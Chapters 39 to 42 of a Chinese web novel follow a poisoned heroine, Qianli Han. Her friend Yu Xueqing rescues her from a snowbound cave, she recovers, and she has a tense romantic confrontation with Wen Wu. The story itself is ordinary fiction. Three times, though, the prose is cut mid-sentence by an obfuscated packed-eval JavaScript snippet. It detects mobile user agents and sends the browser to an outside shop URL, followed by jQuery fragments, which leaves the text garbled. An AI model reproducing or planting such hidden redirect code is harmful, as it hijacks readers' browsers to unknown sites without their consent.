蓝色的眼睛扫过每一个人,带着威压与毫不掩饰的杀意,令人毛骨悚然。 安吉迫切道:“你属于北疆,你逃不掉的!斛瑟罗凛早晚要回到天狼的羽翼下,成为北疆的新王!” 一柄弯刀从他颈侧飞过插在雪地,罗凛头都没回,这是无声的威胁。安吉茫然摸了摸脸,那张假皮被划了个大口子,摇摇欲坠。 高大的身影消失在雪地,安吉望着他的脚印咬牙切齿,良久却又笑起来。他想起那双蓝色的眼睛与浑然天成的野性,胸中隐隐悸动。 他们的新王就要回来了! “喀喀!喀!喀!” 千里撼被一声响动吵醒,她动了动眼皮,全身针扎似的痛。四周黑漆漆一片,她似乎躺在山洞里,前方传来喘息声,她想起身却无法行动,视线也十分模糊。 “喀喀!” 好像有人在动? 千里撼眯着眼向前探头才看清,玉雪倾正举着惊生剑奋力铲雪,已然挖出个大窟窿。 “……你把、你娘留给你的宝剑、当铁锹用啊……咳咳咳!” 玉雪倾闻声跑到千里撼身边摸着她的脉搏舒了口气道,“太好了,你终于醒了。” “我怎么了?” “你中毒了,”玉雪倾担忧的抚摸千里撼那道发黑的伤口,“毒性已经扩散,你千万不要动,我带你出去。” “那也别祸害宝剑……” “都什么时候了还担心宝剑!”玉雪倾重重拍了把千里撼大腿道,“你这伤口好死不死就在太阳穴,得亏有这把剑在,否则都挖不了这么快。” “罗凛他们……” “不知道。”玉雪倾奋力挖雪,咬着牙一刻不敢歇息,千里撼如今眼唇皆黑,再晚一步她都不敢想。 “好绝情啊,你不要常玄了吗。” 玉雪倾:“你少说话,也别运功,更不要动,但不许睡。” “我说真的呢,”千里撼感到视力正在下降,连骨头都在痛,或许命不久矣,“我和常玄同时掉水里你救谁。” “……千里琼林你疯了?”玉雪倾毫不留情骂道。 几阵呼吸过后,铲雪声逐渐加重,玉雪倾喘着粗气打破平静,“救你。” “嘿嘿,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292909|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就知道,”千里撼满意地傻笑起来,“那我就告诉你些事。” “出去以后,你要去边关,带罗凛一起去。他是北疆贵族,有兵马。你屯好兵力去禾岭,找王士悲,她是我的亲信。你们到时占领禾岭,一路南下,如此便能直捣黄龙。燕儿佩儿手里有我密令,你找到她们,届时,钱双双会倾尽所有鼎力相助……” 玉雪倾咬牙听着,手上力道一下比一下重,她听得出千里撼的言外之意,但不想回应,思虑良久竟恶劣的刺激千里撼道,“那闻仙狂呢!他可是你的宝贝疙瘩,你舍得丢下他?” “什么宝不宝贝的、咳咳咳!”千里撼自嘲道,“君子不、不强人所难。他不愿意我不逼他,而且就算没有我他也会活的很好,他、他有才能,就是有些拧巴,会没事的。” “我看未必!”宝剑锋利无比,冰雪自然无法将其奈何,只是玉雪倾双手冻的通红,几乎失去知觉。 千里撼:“我还有些事,你用完了罗凛就放他走,留他一条生路。他、本性不坏咳咳!虽是北疆人却不是茹毛饮血的野夫,我已经把他教好了。还有燕儿,她从小跟我长大,很依赖我,你叫她跟着伺候姥姥去,这样她不会犯傻。至于佩儿,你给她笔钱,送她回晋中就好……” “我不想听你托孤,你给我撑住!” “我撑着、撑着呢,”千里撼默默眨了眨眼,她已经彻底失明,就连听力也在下降,“放心吧,我才不死呢!真下地狱我也得抽阎王两巴掌再回来。” “但愿如此。”玉雪倾抹了把脸回头看了眼千里撼,整个人忽然愣住,千里撼鼻中竟流出黑血,再这样下去必然会死! 她深吸一口气突然想哭又硬生生咽了下去,疼痛全部消失,玉雪倾更加凶猛的刨起雪来,“千里撼!你说了这么多人,怎么没有我!” “你不是有常玄嘛。”千里撼插科打诨道。 “你知道我不是这个意思。” “……玉折,能跟你做朋友很开心。或许你永远都没法明白我第一次见你时的心情,我相信你会是比白虹还要厉害的人,全天下没人比得过你。但你这名字不好,“雪倾玉折”,若是有机会我一定要给你改个名字。” 雪倾玉折,高肃恨透了这四个字,她不明白钱双双为什么要取这种意向不祥的名字给玉雪倾,她的一生就如这名字般,山崩地裂白雪倾,玉碎横陈宝剑折。 “轰隆隆!!” 一道光芒划破玉雪倾的眼眸,天亮了,希望来了! 她二话不说,将千里撼拉起背在背上,“挖通了!我们很快就能走出去了,琼林!坚持住!” 回应她的是沉默。 “琼林?” “琼林!” 玉雪倾僵硬一瞬,顿时怒气升腾,她不敢去探千里撼鼻息,只闷头往前走。 四周白茫茫一片,方向难寻,雪深到大腿。 黑色的血像墨,一滴滴流到雪壳上。玉雪倾挥剑扎穿雪壳,大步向前,咬着牙不管不顾的走。 “千里撼我告诉你,你求我的事我一件也不会办!” “我又不在乎他们,凭什么要帮忙?” “而且你干嘛这么不争气!一个小伤口就要死要活,我真是看错你了!” “我之前生病不也挺过来了吗,你也要撑住知道吗?” “我们说好要端了白家,建立一个新的国度,那里不会有人再饿肚子……” “没有你,我会变成无头苍蝇的。一定要活着知道吗,一定要活着。” “……其实,我也很高兴能遇见你。我等着你给我改名字。” 汗珠连同衣衫结成硬块架在身上,眉眼被冰霜覆盖,剑柄被冻在手上上扯都扯不下来,唯有背着千里撼那一块儿是温的。 这股温度成了力量,偌大的一座雪山,玉雪倾凭着感觉硬生生走了出去,她不知道走了多久,只知道在意识消失的边缘看见了举着火把的常玄和飞奔而来的罗凛。 耳边传来阵阵呼吸声,像蝴蝶轻煽翅膀,她仔细听了听,露出一抹笑容。 随后,力竭倒地。 40. 风月赋 十 “惊梦扰旧人,孤鸿一线生,疏狂皆尽酒,哀转志难酬。” “谁在说话?”千里撼撂笔望向窗外,发觉柳枝头上停着只青鸟。 “是你在说话?” “是我。” 千里撼:“鸟怎么能会说话呢?” “我偏要会说不可以吗?” 千里撼:“我才不管你,别打扰我抄书。” “抄书做什么。” 千里撼:“你管我。” “我管的就是你,”青鸟越跃下枝头化作女子凑近千里撼道,“好孩子,该醒了。” 千里撼猛的一哆嗦睁开双眼,眼前却灰蒙蒙一片,她动不了叫不出,只得直挺挺躺着。 这怎么了,变成植物人了? 等等,有脚步声。 脚步虚浮,似是还端着东西。 有人进来了。 千里撼奋力想要说话,但实在无法发出声音,眼上还蒙着层布,除了呼吸,这具身体她什么都掌控不了。 水声? 是燕儿吗? 可燕儿的脚步声不是这样的。 等等,怎么还有抽泣声? 干嘛!怎么还解她衣裳?! 哦哦哦,擦身体。 但这人究竟是谁啊? “求求你,快醒来吧。” 那人一寸寸为千里撼擦拭身体,哪怕指甲缝也不放过,手绢泡在温水里打湿,凉了就换盆水,如此反复,手法轻柔,像对待稀世珍宝。 千里撼放缓呼吸,脑中有了答案——是闻武。 “已经二十一日了,我用尽毕生所学救你,分明毒素已经排空,为何还是不醒?” “……难道是因为我吗?” “不愿意见我,所以不愿醒来。” “因为我说讨厌你……” 他默默抽泣着,不知道哪句话戳中了伤心事,越哭越伤心,“对不起……” 胸口一沉,是闻武趴了上来。 他伏在千里撼胸口轻声哭泣,泪珠滴落在她耳边,一阵酸涩,千里撼极力的想要搂住他,奈何做不到。 “我不讨厌你,只是害怕被你厌弃。” “郡主,琼林,千里撼。你可以讨厌我,甚至恨我,但不能不要我。” “我想要你永远喜欢我,可我怕,我怕你爱的轻浮。得到我,厌倦我,又抛弃我。到那时,我唯有死路一条。” “与其等那时再死倒不如——” “不!不可以死!我不要你死……” “我们还没成婚,就算死也要成了婚再死。我生是你的人,死是你的鬼,这一辈子你都别想甩掉我,我恨你!” “我恨你高高挂起!什么都不在乎!仿佛只有我急的团团转,像热锅上的蚂蚁,焦虑着爱恨,盘算着情分,而你却怡然自得。” “我不要像我娘一样。爱了一辈子,连名字都没留下。” “我要你把我刻在骨头里!” “但我又不想你痛苦……” “我不知道了,我真的不知道该怎么办。你说说话,起来和我说说话,再像从前一样说声喜欢我好不好?” “……” 闻武看着千里撼被蒙住的双眼,心头的不知所措,泪珠不要钱似的往下撒,他的拇指一路滑到她唇角,蹭了蹭。 “我喜欢你,琼林。” 说罢,亲了下去,如从前多次般蜻蜓点水,浅尝辄止,带着盲目的眷恋。 “快醒来吧,我还有好多话要跟你说。你不是想听我的事吗,我可以讲给你听,哪怕喝我的血吃我的肉也可以,都可以。” “什么都可以……” 一声叹息,闻武抹了把泪,为千里撼系好腰带端着水盆出去了。 …… 刚才发生了什么? 闻武一走,她的心才猛烈跳动起来,失去视力后听力格外清晰,千里撼甚至不敢相信刚才发生的一切。 这算什么? 这人怎么这样啊。 口是心非呢。 千里撼心头渐渐涌上一股蜜意。 “姑爷,郡主怎么样?”是燕儿的声音。 她进来了。 “郡主,郡主?”燕儿叹息一声,默默为千里撼掖好被子,“昨日玉姑娘来看你了,我瞧她也身子刚好。玉姑娘临走前告诉我她要去打仗了,边关有几股势力忽然联合进犯大魏,来势汹汹。朝廷无人可用,便筹划着叫玉姑娘去,却只叫她做副将。” “我拿不定主意,去问了老太太,她点头了我才安心。后来玉姑娘走了,我去问过何妈妈才知道,老太太请玉姑娘去了祥慈堂,两人聊了许久。郡主,快醒来吧。” 姥姥请玉折? 她们会说什么呢,左不过是征战之事。 白笑孔叫玉雪倾率军出征却只给她副将之职,那主将是谁? 副将,真是个阴险的名头。胜了无功,败了有过,难不成是要给她的亲亲儿子白圣孺做主将位置? 可无论如何她这都是要叫玉折去做炮灰呀! 千里撼一股火气往脑门儿上顶,顿时全身滚烫似火烧般疼痛,胸口有什么在蠢蠢欲动! 她猛的睁开双目,挣扎着叫出声来,忽然一股热气上涌,吐出口黑血混着浓痰。布条滑落,千里撼茫然的看了看四周,还是有些模糊,但好歹能看清了。 “郡主!你醒了!”燕儿一惊渐渐露出笑容,赶忙用手给千里撼擦满口毒血,在其力竭之际扶住她防止毒血回呛。 “太好了!”燕儿扬起嗓子冲外头喊道,“快去请姑爷!郡主醒了!!” “嘭!!” 屋门呼的被撞开,明光入内,有一人气喘吁吁站在坎外,银丝散乱,衣袍斜飞,毫无风度,额头粘了层薄汗,和着灰尘与发丝。 “姑爷!”燕儿开心的叫起来。 闻武快步走到千里撼身前,噗通跪下,膝盖砸在那堆黑血上,冰冷的手指死死掐住千里撼脉搏良久无声。 秀眉紧蹙,忽而舒展,复看弯弯。 闻武猛的环上千里撼脖颈,将脸深深埋在那里。 “闻武……” “仙狂?” “……十三郎。” 闻武:“我在。” 千里撼顿了顿道,“你扯的我头发好痛。” 闻武不管不顾,搂的更紧,还把脑袋往更深处蹭了蹭。 千里撼拿他没办法,只得抚了抚他的背,若非她口中还有血,这一时真分不清谁才是病人。 “我们成婚吧。”闻武突然道。 千里撼一愣,思虑片刻冷静道,“不可,还不到时候。” “咯吱咯吱”,这是谁把牙咬碎了? 等等,好像是闻武。千里撼反应过来,刚想安慰怀中安人却发现他似鸟儿般飞走了,又恢复从前那副毕恭毕敬的模样,噙着笑意道,“恭喜郡主已无大碍,只是此次过于凶险,毒入五脏,再晚一步就会危及性命。不过切记日后不可再中毒,否则大罗神仙也难救。” 这又是怎么了? 千里撼一时有些不明白他了,只呆呆点了点头。 大病初愈,千里撼这屋子里的人就没断过,但她只见了三个人——玉折、罗凛、千里冰封。 “姥姥,你和玉折说了什么?” “就这么想知道吗。”千里冰封坐在榻上,拉过千里撼的手拍了拍道。 “当然了。干嘛,连我也要瞒啊。” “鬼灵精,”千里冰封亲昵的点了点千里撼鼻尖道,“那你答应我以后都不生病。” 千里撼傻笑一下,“我,千里琼林答应姥姥永远健健康康的。姥姥多长寿我就多长寿。” “你快住口!”她一把按住千里撼嘴巴道,“哪有年轻人和老太太比寿禄的,赶紧呸呸呸!” “我不要!”千里撼耍赖道,“我就要一辈子待在姥姥身边。” “姥姥也想一辈子待在琼林身边,”她摸了摸千里撼的手背叹息一声,“你没醒过来时我就一直在想,我是不是真的哪儿做错了?不然为什么老天这般薄待我,屡次叫我白发人送黑发人。” “后来玉家丫头来向我‘请罪’,我一时竟不知她何罪之有。我知道你和她私交甚好,也知道你俩有野心,有胆识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292910|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,注定是要做大事的,所以我只能怪我自己。” “宫里下旨叫她去退敌,却只给副将,我听着很是熟悉,想到了当年我打仗的时候有人也用过这招。我看出玉家姑娘的踌躇,知道她放心不下你,于是代你拍板叫她去了。” 千里冰封解释道:“琼林哪,白笑孔屡次病重,大魏不安生了。玉家在风口浪尖儿上,若此时还在皇城难免要受牵连,倒不如将计就计,带着亲信跑到边疆去。白笑孔撑着不死就是为了给她的孩子铲除隐患,只是不知谁是她属意的储君。” “白笑孔病了?”千里撼有些诧异,“什么时候的事?” “许久了,宫里瞒的严实。可天底下哪有不透风的墙?”千里冰封道。 “如此看来,立储之事迫在眉睫了啊。” “是,”千里冰封点点头道,“我方才收到消息,此次出征的主将是三皇子亲自举荐的人。” 一阵沉默。 千里撼问道:“姥姥怎么不说了?” “……是铎远。”千里冰封说罢,茫然看向远方。 “千里逢!他为什么?”千里撼挣扎着坐起,忽然察觉到自己谈过激动,压下嗓子道,“怎么能叫他当主将呢!” 千里冰封没有说话,眼眸低垂,沟壑的皱纹盛满遗憾。良久,她攥紧千里撼手掌低声道,“这些年你为我、为千里家,忍他许多。如今他愈发不知天高地厚,早忘了我的教导,满眼势利,无有远见,置偌大千里家于不顾!我老了,过往之事不愿再提。日后,若他挡了你的路抑或辱没了千里家,就由你!来清理门户!” 她越说越激动,握着千里撼的手剧烈颤抖着,像下了莫大的决心。 “姥姥!姥姥你别急!” “但是!”千里冰封反手握住千里撼两只手腕,泪眼婆娑道,“姥姥求你留他个全尸。好叫我死后,到了地下,能给疾儿交差……” 千里撼见其如此心中很不好受,她虽对千里逢没什么感情,可千里冰封不一样,毕竟是血亲。她聪明了一辈子,早已预见两人未来必将踏上至亲相屠的道路,这是老人最不愿看到的一幕,如今却也不得不看了。 “姥姥……” “没事的琼林,”千里冰封蹭了蹭眼泪安慰道,“姥姥没事,只是年纪大糊涂了。” 喉中似有瘀堵,心尖犹如针刺,千里冰封的泪砸到她手背,竟烫的她一瞬有些游离。 她将千里冰封抱在怀中轻抚,想了很久,“若他悔改,我会放他一条生路。” “不可!”千里冰封猛的抓住千里撼道,“江山易改,本性难移!你若留着他,就是悬在你头顶的一把利刃!他日功成,铎远最恨的人一定是你,因为你离他最近!” “琼林,斩草要除根啊!” 千里撼看着千里冰封,一时有些不知所措。她终究还是年轻,不懂老人的九转回肠,但看清了一件事。 在千里冰封心中,她永远是第一位。 公主府内,两道身影对弈。 白帝媐:“你说你来投诚,那诚呢?” 千里逢道:“千里家。” 白子落下,白帝媐睨了他一眼,笑道,“有把握?” “公主可以去查,千里撼已闭门多日。” “我说的不是她,”白帝媐漫不经心道,“我说的是你。” “公主的意思是?” “前脚被白圣孺举荐为主将,后脚又来我这儿投诚。我在想你应该是打算踩着他往上升的吧?”白帝媐微微挑眉,问道,“所以,你有把握杀了他么。” 真难糊弄。千里逢捏紧棋子,牙关紧咬,之前他向三皇子献计本就没讨到好,此次出征若再无成绩必被抛弃。如今皇城分两派,既然白圣孺不识好歹就别怪他另谋出路了。更何况戚风那番话始终萦绕在他心头,白圣孺不可信,闻老头更不可信,能靠的只有他自己! “有!”千里逢重重落下一子。 “很好,”白帝媐轻佻的拍了拍千里逢的脑袋道,“这才是我要的‘诚’。” 千里逢走后白帝媐将白子一颗颗拾回棋盒道,“来人,请藏道先生。” 41. 风月赋 十一 千里撼披着衣裳坐在桌前,偶尔还是会咳,玉雪倾已走数月,好死不死主将还是千里逢,她心中总是放不下。 “玉折吾友,惊蛰已过,听闻边关忽有瘟疫,万望珍重……” “咳咳咳咳……” “郡主,先歇歇吧。”罗凛过来取下千里撼的笔,不由分说的扶她到榻上。 “也不知怎么了,这风寒总是不好。”千里撼又咳嗽几声道,“我都多久没练功了?” 罗凛:“四十四天。” “你倒记得清楚,”千里撼裹紧被子靠在罗凛怀中取暖,“对了,你的功夫练的怎么样?” 罗凛随手取过个苹果抛至空中,抽出匕首,三下五除二,果皮化作干干净净的一条落在地上。他稳稳接住苹果送到千里撼面前,轻轻一碰,苹果竟似开花般散开了。 “也行,”她那一块塞进嘴里含糊道,“苹果削的好也算是门手艺。” “甜吗?” 千里撼点点头,“不错。” “你喜欢就好。”罗凛坐在千里撼背后,看她吃的开心,默默笑起来。 “扶我出去走走吧。” 千里撼坐在廊下听风,这些日子里她一直喝药,嘴里都没味道了,虽然闻武不说但她依稀感觉得到,那次中毒对她影响很深,以至于过了数月她的眼睛看东西偶尔还会模糊,尤其是在夜晚。 “罗凛去练功吧。”千里撼道。 “嗯。” 罗凛天赋很高,又刻苦,恣狂剑法已练得七成,那把弦月弯刀在他手中简直浑然天成。 但也只到七成了,再练下去没意义,佩儿摸过罗凛的骨,他的资质也就到这儿了。 果蜜在舌尖融开,她看着罗凛,忽然想起雪山那群神秘人。 看来有些事不能再拖了。 “郡主?” 一阵脚步声打断千里撼思绪,“郡主怎能来外头吹风呢?” 是闻武。 “这时候出来吹风也不行吗,天儿多好啊。”千里撼道。 “不可不可!春冻骨头秋冻肉,你还没全好,绝对不行!” “闻武,你有时候真的好古板。”千里撼无奈道。 “那谁不古板,他吗?”闻武不知从哪吃了口气,莫名指着罗凛道。 罗凛停下动作,收刀看向他。 闻武对罗凛道:“你不知道郡主需要静养,为何还由着她出来?” 罗凛:“郡主喜欢。” “她是病人!” 罗凛无动于衷,“我只听郡主的。” “你!” 闻武恨得咬牙切齿,眼神里的厌恶毫不掩藏,这木头近段时间总黏在千里撼身旁真是好不烦人!更可气的是两人竟还有说有笑,仿佛他才是那个外人! 眼看大战一触即发,千里撼拉住闻武道,“停,回屋。”说罢,起身往屋里走去。 罗凛自始至终站在原地,这几个月里他面对闻武的屡次发难皆无动于衷,弯刀背在身后微微颤抖,千里撼的背影消失后他眼中的恶也不再隐藏。 “病秧子,少惹我。”罗凛道。 闻武面无表情,毫不客气,“那你滚啊。” “你没资格叫我滚。”罗凛说罢收刀离去。 闻武仰了仰头,呼出一口气,高傲的睥睨罗凛的背影,以胜利者的姿态走进屋子。 “你似乎很讨厌罗凛。”千里撼道。 闻武笑了笑,“我讨厌很多人,郡主都想听吗?” “不必了,”千里撼轻笑,“我听闻姥姥已能独立行走。闻武,多谢,这都是你的功劳。” “能帮上郡主就好。” “你可帮我太多了,”千里撼递给他块苹果,“我是信得过你的,也记得你的恩情。” 闻武接过苹果顿了顿,“郡主与我无需如此,我们是……一家人。” “春天是好啊。”千里撼倚窗轻叹,心中迷乱,她有些不知该拿闻武如何是好。 如果说从前她对闻武的心是赌,那么现在就是猜。如果不要爱,为什么在她病重时哭泣,如果要爱,为什么又在她清醒时逃离? 可闻武毕竟是闻武,千层秀羽千般心。千里撼攥了攥拳头,深思熟虑,突然忆起唇上那点清凉,心中有了筹码。 她想再试一次。 “你说我们是一家人,这句话有几分真呢?” “真心就是真心,无论几分。”闻武道。 “可你从前不是这样说的,”千里撼冲他笑了笑,“是要反悔了?” 闻武盯着那块苹果半晌,轻笑一下将其放在碟中,“不要。” 笔架突然倒塌,千里撼几只常用的毛笔摔了出去,其中一支牛角狼毫所制极为珍贵的直接从中裂开。 她无意识咬住下唇,眼神空洞,有些恍惚。一根无形的绳索套在千里撼脖颈,不时勒紧,总在她自鸣得意时嘲笑。 “十三郎……”千里撼叫了一声,企图将真正的闻武叫出来。这三个字在她舌尖纠缠搅拌,看着闻武那双紫色的瞳孔,千里撼突然泄气,默默摇了摇头,缓解被拒绝的尴尬。 千里撼眼神晦暗,闻武读不出她的纠结,本能开始自省,“若我哪里做得不对郡主大可直言,十三郎会改。” “又是这样。” 闻武面上难得挂上了疑惑,在此之前满口的“官话”,一言一行皆似木偶。他总是将自己裹得严严实实,不露半分瑕疵,完美的不像真人。 千里撼讨厌这样的“假人”,可偏偏这人是闻武,她便又将自己劝好了。这是闻武生存的方式,无论对待任何人始终笑脸相迎,哪怕被羞辱也能面不改色,他在闻府长大,这一套用的炉火纯青,所以活到现在。 闻武就像蚌,有最结实的外壳和最柔软的内里,或许她完全可以拥有这个极其美丽的蚌,当做摆件炫耀,可她不甘心。 千里撼潜伏着、等待着、温暖着,祈祷有一天有一瞬间,紧咬的蚌壳能够露出一道缝隙给她。 她想进入他的身体,感受他的温柔,她甚至不在乎里头是否存在珍珠,只想抛弃全部外物与他坦诚相见而已。 可闻武太坚定,封闭感官,充耳不闻。她找不到机会,这场苦苦坚持的独角戏耗尽了她的心血,几乎就快坚持不下去了。 千里撼:“你为什么就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292911|198540||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不肯说真话。” “郡主想听什么?郡主想听什么十三郎就说什么,那十三郎想听的郡主也会说吗?” “你想听什么。”千里撼道。 他看着千里撼,目光直白毫不躲闪,几乎是僭越的眼神,“明日就成婚,我们。” 千里撼没想到他会说这个,不知是喜是悲,如今正值多事之秋,况且离明年婚期不久,为何执着于现在成婚? 还是说他只是企图用这个掩盖矛盾? “不行,”千里撼解释道,“这是圣上赐婚,婚期不可随意更改,况且——” “看吧!”闻武突然笑起来,不知缘由,“郡主从来不会说我爱听的。” “我不是这个意思,闻武,这事我做不了主。” “那你什么能做主。”闻武高声道,“做主把那个侍卫带在身边,做主几次三番的舍命救玉都尉,做主把自己弄得遍体鳞伤,让提我心吊胆的等!” 他说到最后咬牙切齿,许是想到什么突然找回理智,深吸口气道,“不过没关系,十三郎永远是你的,郡主想做什么都好。可是敢问郡主,我说的有错吗?对你来说我是什么,我排在哪里?为什么我要永远站在最后仰望你的背影,看着你和别人说说笑笑!” “闻武,你不能不懂事啊。”千里撼摇了摇头,双眉紧蹙,为难道,“那你要我怎么做?为你抗旨,为你不顾大局,为你放弃几十年的筹划和你归隐山林不问世事吗!” “为什么不行!”闻武定定看着千里撼,所有的委屈和怨恨都爬了上来,一字一句道,“我不配吗。” 千里撼突然有些不认识这个人了,他披着闻武的皮,却挣扎着想要撕开。 又或许这才是闻武。 她不可置信的晃了晃脑袋,而这个动作却被闻武曲解。 闻武当即笑了出来,“是了,我是不配。”他捂着脸,指缝间,白皙的皮肤透出血色,似哭非哭。 “我不是这个意思!”千里撼一把拉住闻武,“我们会成婚,但不是现在!而且为什么非要是现在,一年和两年到底有什么区别?闻武,我希望你能明白我的处境,相府没你想象的那么——” “当然有区别!”他按住千里撼的肩膀,指骨发白,“我要当名正言顺的主夫,我要做你的男人。日后,无论是在相府还是在人前我都必须是最尊贵的那一个,不仅如此,我还要紧紧绑住你!你当然可以见一个爱一个,但那又怎么样?小打小闹罢了,我和他们不一样,你这一生注定要和我走完,哪怕死了也要掘开坟墓埋到一处!” “郡主,”闻武双目发红,力气大的吓人,像撕破了面皮的罗刹,“你永远都不会明白我在想什么。人再渴都不会饮毒,所以永远不会有人明白我。” 说罢,他缓缓松开千里撼却反被捉住,千里撼一字一句道,“你在恨?” 闻武身躯一怔,双眼微眯,他压抑着那份不可置信,扯了扯唇角道:“呵呵,郡主在说笑,十三郎要恨什么?” “值得你恨的可太多了,你姐姐,你父亲,甚至整个闻家。或许我该再退一步说,你最恨的其实是你自己。”千里撼一针见血道出事实。 42. 风月赋 十二 “郡主大抵是累糊涂了,在下先行告退——”不等他说完便被千里撼抓住。 “怕吗,”千里撼贴在他身后,轻声道,“怕我看穿你、伤害你、厌倦你。” 闻武咬紧牙关。 “闻武,你本可以赌一把。因为我真的明白你。” 千里撼语气格外的柔软,仿佛这句话是热的,它从心脏顺着血流发出,而非经过大脑。她不打算强留闻武,因为心门难开,可她也不想再周旋下去了,这场赌局不只针对闻武一人,而是他们两个。 最后一次。 如果闻武回头,她就继续向前走,如果闻武放手,她也放手。 “郡主认为恨是什么?我没有母亲,但有父亲和主母,可他们都不喜欢我,所以从没教过我这些。从小到大,这副皮囊带给我的只有痛苦,我不能在白天出门只能在黑夜行走,我不能被带到人前相见只能在门后窥探! 可如今,每每露面时旁人艳羡的目光似太阳般滚烫。许多我曾经厌恶的东西竟然开始讨好我,我甚至开始分不清它们。郡主,我没有你的底气,只有烂命一条,请恕闻武无用,不敢拿命来赌。” “呵呵。” 千里撼忽然释怀,浑身冰冷,指尖泛起细密的疼痛。她还是高估自己了,这份不甘被闻武的三言两语击碎,几乎是破罐子破摔。 她看着闻武雪白的发丝,萧条的背影,纤细的指骨,轻轻松手,像放走了一只鹦鹉。 被放开的一瞬间闻武突然僵住,食指尖受控的抖了抖,像在贪恋。 一瞬间,他仿佛失去了什么,空掌握拳,缩回袖中。 莫名的悔意攀升,胃里翻腾着,他咬紧牙关硬生生将这股异样咽了下去,装作无知无觉。 她看够了闻武的背影,于是绕到他身前,这次她要看着他说。 那双眼是如此清澈明亮,事已至此,不如把要说的话全部说完。 “我喜欢你,闻武。我愿意包容你的胆怯,愿意等候你的回音,甚至心甘情愿的被你算计。我知道你从一开始接近我就带着目的,但我也明白你面对闻家的难处,况且你并未伤到我什么,所以我抱着一丝侥幸之心始终在赌。” 闻武猛的抬头,如遭雷击,满脸错愕。 “就当是我的报应吧,许是我总算计别人的报应,面对你的时候我却总想着真心能抵万难,现在想想真是蠢的没边儿了,”千里撼自嘲的笑了笑,撩起闻武的发丝眷恋的抚摸,“不过我是不后悔的。你说你不知道什么是恨,那我来告诉你。” 那缕发丝被千里撼死死攥在手里用力一扯,闻武吃痛的向前跟跄几步跌进她的怀里。 千里撼并没放过那缕头发,另一只手死死扣住闻武后颈,贴近他的耳边轻声道:“你恨你的姐姐们,她们虽然帮了你,让你吃饱穿暖,可她们却不是圣人,不能永远保护你。她们在的时候你是安全的,可她们一但消失你所遭受的一切都将翻倍!你真真切切的明白她们每个人都必定会因为前途而抛弃你,那些残忍的慈悲之心时常令你作呕,在你为了生存发愁时她们已经登堂入室,而你则要继续陷在深渊里不能自拔,被侮辱、被践踏,无论跪地求饶还是竭力反抗都只会换来变本加厉的伤害!” “你……”这些话像在闻武头顶炸来钟声,他浑身僵硬,眼前事物渐渐模糊。 “很奇怪我为什么会知道这么多对吗,我知道的远比你想象的多。” 千里撼紧紧束缚着闻武使其无处可逃,她声音很轻,却有刀刃的锋利,“你恨闻老头儿,恨他像头固执的种猪一样把持着全家,满脑子只有空荡荡的‘振兴闻家’四个字,为此什么下三滥的事都做的出。你厌恶这个自作聪明的蠢货,为了那些不切实际的想法活生生累死了主母让你连名义上的娘都没有,不仅如此还要整个闻家上下来陪他‘过家家’,演父慈子孝的戏码。他分明从未关心过你,却还厚脸皮的利用你,给你制造机会‘高嫁’,去一个臭名昭著的郡主家里讨生活,整天过着寄人篱下的日子,出卖着色相,毫无尊严。” “不!我没有!”闻武惊慌失措,挣扎着想要否认,可千里撼的手像锁链一般,牢牢按在他的后颈。 “你恨自己的皮囊,恨自己的弱小,如果一出生就注定要受罪为什么不直接死掉!你一直在恨,你觉得自己该早点死的,至少还能少遭点罪,可偏偏又顽强的活了下来。” 闻武渐渐泄力,千里撼的每个字都像一把刀,毫不留情的砍在他身上,将他凌迟,他无力的靠在千里撼怀中双手耷拉着,身体越来越凉。 “你也同样恨我,恨我什么都有,恨我出身高贵,如果我一无所有就好了,这样就能和你完美相配,甚至属于你,任你摆布,这样你就能放下戒心,随心所欲的对待我。你害怕把自己交给我,你觉得我并不‘安全’,或者可以说‘危险’,你不敢赌,但又没法抗拒欲望和本能,你喜欢我,所以你纠结,将错误都归结于我。恨我滥情、恨我拈花惹草、恨我的野心、恨我对你好。” “但当这些想法出现时你最恨的不是我,而是拥有这种想法的自己。” 千里撼缓缓将手松开,接住闻武冰冷的身体,第一次完全的将其拥在怀里,“而我恰恰喜欢这样的你。你以为是你勾引了我,可你似乎不记得了,我们很早之前就见过,在一个冬天,那时我只有八岁,看到你,还以为看到了雪。” 闻武,是我在放任你。 千里撼硬生生咽回这充满埋怨的后半句,反而轻拍闻武的背部,温柔的不像话,像包容任性的孩子,“或许你会好奇我为什么能够明白你。闻武,你要知道,你所经历的一切并非开天辟地头一桩,甚至是这世上再寻常不过的情节。我也不过是个金玉其外的可怜虫,偷偷憎恨着世上的一切,但这并不耽误我付出真心,你明白吗?” 